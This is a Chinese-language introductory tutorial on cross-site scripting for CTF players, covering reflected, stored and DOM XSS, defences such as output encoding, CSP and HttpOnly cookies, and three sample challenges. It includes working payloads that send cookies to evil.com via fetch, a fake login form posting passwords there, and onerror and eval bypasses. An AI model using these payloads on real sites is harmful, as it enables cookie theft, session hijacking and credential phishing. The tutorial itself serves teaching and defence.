当前位置: 首页 > ds >正文

从零开始:CTF中的XSS漏洞入门指南

1. 什么是XSS?

跨站脚本攻击(Cross-Site Scripting, XSS) 是一种常见的Web安全漏洞,攻击者通过向网页注入恶意脚本,使其在受害者的浏览器中执行。由于JavaScript可以访问Cookie、LocalStorage、DOM等敏感数据,XSS通常用于窃取用户信息、劫持会话、钓鱼攻击等。


2. XSS漏洞类型

XSS主要分为三类:反射型XSS存储型XSSDOM型XSS

2.1 反射型XSS(Reflected XSS)

  • 特点:Payload通常出现在URL中,服务器返回的HTML直接包含恶意脚本,但不会存储到数据库。
  • 攻击方式:诱骗用户点击恶意链接(如钓鱼邮件、短链)。
  • 示例
    http://example.com/search?q=<script>alert(1)</script>
    
    如果服务器未过滤输入,直接返回q的值,则脚本会在用户浏览器执行。

2.2 存储型XSS(Stored XSS)

  • 特点:Payload存储在服务器(如数据库、评论、留言板),所有访问受影响页面的用户都会触发。
  • 攻击方式:攻击者提交恶意内容(如论坛发帖、用户资料修改)。
  • 示例
    用户评论:<script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>
    
    该评论被存入数据库,其他用户访问时自动执行,窃取其Cookie。

2.3 DOM型XSS(DOM-Based XSS)

  • 特点:纯前端漏洞,由JavaScript动态操作DOM导致,不经过服务器。
  • 攻击方式:利用document.writeinnerHTMLeval等不安全操作。
  • 示例
    http://example.com/#<img src=x onerror=alert(1)>
    
    如果前端代码直接使用location.hash插入DOM,就会触发XSS。

3. XSS的利用方式

XSS的危害不仅限于弹窗(alert(1)),攻击者可实现更复杂的攻击:

  • 窃取Cookiedocument.cookie 发送到攻击者服务器
  • 会话劫持:利用窃取的Cookie登录用户账户
  • 键盘记录:监听onkeypress事件窃取输入
  • 钓鱼攻击:伪造登录框诱导用户输入密码
  • CSRF攻击:利用JavaScript发起恶意请求(如转账、改密码)

示例Payload

// 窃取Cookie并外带
<script>fetch('https://evil.com/steal?data=' + btoa(document.cookie));
</script>// 伪造登录框
<script>document.body.innerHTML = '<h1>Session Expired</h1><form action="https://evil.com/steal" method="POST"><input type="text" name="username"><input type="password" name="password"><button>Login</button></form>';
</script>

4. XSS的防御方法

4.1 输入过滤 & 输出编码

  • 前端:使用textContent代替innerHTML,避免直接插入HTML
  • 后端:对用户输入进行HTML实体编码(如<&lt;
    • PHP:htmlspecialchars($input, ENT_QUOTES)
    • Python(Flask/Jinja2):{{ user_input | escape }}

4.2 CSP(内容安全策略)

通过HTTP头Content-Security-Policy限制脚本加载来源:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  • 阻止内联脚本(unsafe-inline
  • 限制外部资源加载(如evaldata:

4.3 HttpOnly Cookie

设置HttpOnly防止JavaScript读取敏感Cookie:

Set-Cookie: sessionid=123abc; HttpOnly; Secure

4.4 使用安全框架

  • React/Vue/Angular:默认自动转义,但仍需警惕dangerouslySetInnerHTMLv-html
  • DOMPurify:过滤恶意HTML(Node.js/浏览器均可使用)

5. CTF中的XSS题目示例

题目1:基础反射型XSS

<!-- 后端代码(PHP) -->
<?php$query = $_GET['q'];echo "Search results for: " . $query;
?>

解法

http://ctf.example.com/?q=<script>alert(1)</script>

题目2:DOM型XSS绕过

<script>var userInput = decodeURIComponent(location.hash.slice(1));document.getElementById("output").innerHTML = userInput;
</script>

解法

http://ctf.example.com/#<img src=x onerror=alert(1)>

题目3:CSP绕过

Content-Security-Policy: script-src 'self' 'unsafe-eval'

解法

<script>eval("al"+"ert(1)");
</script>

6. 总结

类型存储位置触发方式防御方法
反射型XSSURL用户点击恶意链接输入过滤 + 输出编码
存储型XSS数据库访问被篡改页面CSP + HttpOnly Cookie
DOM型XSS前端DOM操作动态解析URL/输入避免innerHTMLeval

XSS是Web安全中最经典的漏洞之一,理解其原理和防御方法对CTF比赛和实际开发都至关重要。建议搭建靶场(如DVWA、XSS Game)进行实战练习,并关注最新绕过技术(如SVG XSS、Dangling Markup攻击)。

如果有具体问题或想深入某个方向,欢迎讨论! 🔍

http://www.xdnf.cn/news/1768.html

相关文章:

  • 【OSG学习笔记】Day 7: 材质与光照——让模型“活”起来
  • 09前端项目----分页功能
  • open公司环境链接搭建代理和转发
  • oracle 锁的添加方式和死锁的解决
  • 企业为何要求禁用缺省口令?安全风险及应对措施分析
  • 【文献速递】NMR代谢组寻找预测DR发展的候选标志物
  • ‌RISC-V低功耗MCU动态时钟门控技术详解
  • go gin框架ShouldBindJSON不能接受’0‘值
  • js 的call 和apply方法用处
  • NeRF:原理 + 实现 + 实践全流程配置+数据集测试【Ubuntu20.04 】【2025最新版】
  • 3D模型文件格式之《glb/gltf格式介绍》
  • PostgreSQL 中的权限视图
  • Qt 中线程使用
  • 国产操作系统-招标公司专家随机抽选系统————仙盟创梦IDE开发
  • 以运营为核心的智能劳动力管理系统,破解连锁零售、制造业排班难题
  • 2020-06-23 暑期学习日更计划(机器学习入门之路(资源汇总)+概率论)
  • Android插拔U盘导致黑屏问题排查
  • 陪诊陪检系统源码,陪诊小程序,陪诊APP,陪诊服务,家政上门系统,居家护理陪护源码,医护小程序
  • 使用正确的 JVM 功能加速现有部署
  • 文本溢出隐藏显示省略号
  • 【办公类-89-02】20250424会议记录模版WORD自动添加空格补全下划线
  • Windows 强制删除文件夹/文件(删除提示“你需要来自 Administrators 的权限才能对此文件夹进行更改”)
  • Linux电源管理(四),设备的Runtime Power Management(RPM)
  • Oracle锁的概念和类型
  • SiamMask原理详解:从SiamFC到SiamRPN++,再到多任务分支设计
  • 数值数据标准化:机器学习中的关键预处理技术
  • 数据分析之 商品价格分层之添加价格带
  • 项目管理、项目集管理与项目组合管理的区别与管理策略解析
  • AI驱动的售后服务软件:三大核心功能破解企业服务难题
  • SQL实战:01之行转列实现